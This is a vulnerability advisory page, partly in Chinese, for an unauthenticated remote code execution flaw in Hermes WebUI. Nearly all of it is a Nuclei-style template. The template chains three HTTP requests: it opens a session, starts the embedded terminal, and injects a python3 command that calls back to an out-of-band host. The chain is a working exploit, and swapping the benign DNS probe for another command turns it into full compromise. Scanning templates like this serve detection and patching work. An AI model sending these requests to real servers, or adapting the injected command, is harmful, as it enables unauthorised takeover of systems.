CVE-2026-58123: Hermes WebUI < 0.51.788 - Remote Code Execution

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.

PoC代码[已公开]

id: CVE-2026-58123

info:
  name: Hermes WebUI < 0.51.788 - Remote Code Execution
  author: str4k3r
  severity: critical
  description: |
    Hermes WebUI < 0.51.788 contains an unauthenticated remote code execution caused by improper access control in embedded terminal API endpoints, letting remote attackers execute arbitrary shell commands without credentials.
  impact: |
    Remote attackers can execute arbitrary shell commands as the server process user, leading to full system compromise.
  remediation: |
    Update to version 0.51.788 or later.
  reference:
    - https://www.vulncheck.com/advisories/hermes-webui-unauthenticated-rce-via-terminal-api
    - https://github.com/nesquena/hermes-webui/commit/d257e5f36cfa9328600c8bde6f0de09a6ad9b6f4
    - https://github.com/nesquena/hermes-webui/releases/tag/v0.51.788
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58123
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58123
    epss-score: 0.04649
    epss-percentile: 0.91211
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 3
    vendor: nesquena
    product: hermes-webui
  tags: cve,cve2026,hermes-webui,rce,terminal,unauth,oast

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /api/session/new HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: status
        status:
          - 200
        internal: true

    extractors:
      - type: regex
        name: session_id
        part: body
        group: 1
        internal: true
        regex:
          - '"session_id"\s*:\s*"([a-f0-9]{12})"'

  - raw:
      - |
        POST /api/terminal/start HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"session_id":"{{session_id}}"}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /api/terminal/input HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"session_id":"{{session_id}}","data":"python3 -c \"import socket; socket.gethostbyname('{{interactsh-url}}')\"\n"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200
# digest: 490a0046304402202d7f849da4898a577c693e833c36a476de176986d131907beaf17fc2ab73c4a10220672a1105865b4de3c0a8f4ce1f37a4ea23dc42e67414d9259741fb585b6a7318:922c64590222798bb761d5b6d8e72950